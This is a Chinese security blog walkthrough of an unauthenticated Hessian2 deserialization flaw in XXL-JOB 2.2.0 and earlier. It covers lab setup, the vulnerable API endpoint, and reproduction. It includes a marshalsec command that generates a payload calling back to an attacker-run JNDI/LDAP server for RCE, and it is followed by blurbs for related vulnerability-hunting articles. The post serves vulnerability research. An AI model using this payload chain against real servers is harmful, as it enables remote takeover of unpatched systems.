一步一步教你漏洞挖掘之XXL-JOB 未授权 Hessian2反序列化漏洞分析与复现

VSole2021-11-01 05:27:36

引言

XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB v2.2.0及以下版本API接口存在Hessian2反序列化漏洞,可通过相关利用链结合JNDI注入实现RCE。

环境构建

0x01 MySQL数据库配置

wget https://raw.githubusercontent.com/xuxueli/xxl-job/2.0.2/doc/db/tables_xxl_job.sql

导入数据库:

0x02 XXL-JOB配置

wget https://github.com/xuxueli/xxl-job/archive/2.0.2.zip

修改配置(`\xxl-job-2.0.2\xxl-job-admin\src\main\resources\application.properties`):

将源代码放入idea,直接可以启动:

源码分析

定位问题接口`JobApiController#api`

`@PermessionLimit(limit=false)`说明该接口访问不需要认证。跟进`invokeAdminService`,一直跟到`parseRequest`:

存在Hessian2反序列化漏洞。

漏洞复现

目前Hessian公开的利用链主要如下:

显然适用于本案例的就是`Spring AOP`,需要结合JNDI注入,但是JDK版本较高,无法远程加载恶意类。不过由于XXL-JOB默认运行在Tomcat之上,可以利用本地的工厂类进行RCE。这里利用rogue-jndi来进行利用:

rogue-jndi
https://github.com/veracode-research/rogue-jndi

0x01 启动JNDI服务

0x02 生成Payload

可利用`marshalsec`直接生成:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor ldap://***:1389/o=tomcat > calc.ser

0x03 发送数据包

替换数据包的POST部分,发送即可复现漏洞:

参考

https://github.com/xuxueli/xxl-job

http://itliusir.com/2018/scheduler-xxl-job/

https://github.com/veracode-research/rogue-jndi

https://github.com/mbechler/marshalsec

漏洞挖掘序列化
本作品采用《CC 协议》,转载必须注明作者和本文链接
漏洞挖掘是指对应用程序中未知漏洞的探索,通过综合应用各种技术和工具,尽可能地找出其中的潜在漏洞。cookie的key为RememberMe,并对相关信息进行序列化,先使用aes加密,然后再使用base64编码处理形成的。在网上关于Shiro反序列化的介绍很多,我这里就只简单介绍一下,详情各位可以看下大神们对其源码的分析。
攻击者可在无需认证的情况下,通过构造特殊的请求,触发反序列化,从而执行任意代码,接管运行ForgeRock AM的服务器。本文从漏洞挖掘的角度分析其中的技术细节,也将公开一些其他的反序列化点。
引言XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB v2.2.0及以下版本API接口存在Hessian2反序列化漏洞,可通过相关利用链结合JNDI注入实现RCE。
对于公益SRC来说,想要冲榜就不能在一个站上浪费大量时间,公益SRC对洞的质量要求不高,所以只要 花时间,还是可以上榜的。在对某站点进行测试SQL注入的时候,先通过一些方式测试是否可能存在漏洞,然后可以直接sqlmap一把梭,也可以手工测试,然后提交漏洞。任意注册算是低危漏洞,不过也有两分。不管是进行SRC漏洞挖掘,还是做项目进行渗透测试,又或者是打红蓝对抗,一定要做好信息收集。
最近两个月我一直在做拒绝服务漏洞相关的时间,并收获了Spring和Weblogic的两个CVE但DoS漏洞终归是鸡肋洞,并没有太大的意义,比如之前有人说我只会水垃圾洞而已,所以在以后可能打算做其他方向早上和pyn3rd师傅聊天
0x00 前言CI框架作为PHP国外流行的框架,笔者有幸的挖掘到了它的反序列化POP链,其漏洞影响版本为4.*版本。
一步一步教你漏洞挖掘之如何在半黑盒模式下挖掘RCE漏洞
最近在学习Android APP客户端漏洞挖掘过程中,对Android APP端漏洞挖掘做了一个基本的梳理总结本节主要是在介绍Android APP漏洞挖掘过程中,使用常见的Android漏洞挖掘工具的安装和使用办法,帮助Android漏洞挖掘人员提供便利。本文里面一部分的介绍采摘与网络博客,大家可以点击对应的网址进行查看。
一次cms的漏洞挖掘体验
VSole
网络安全专家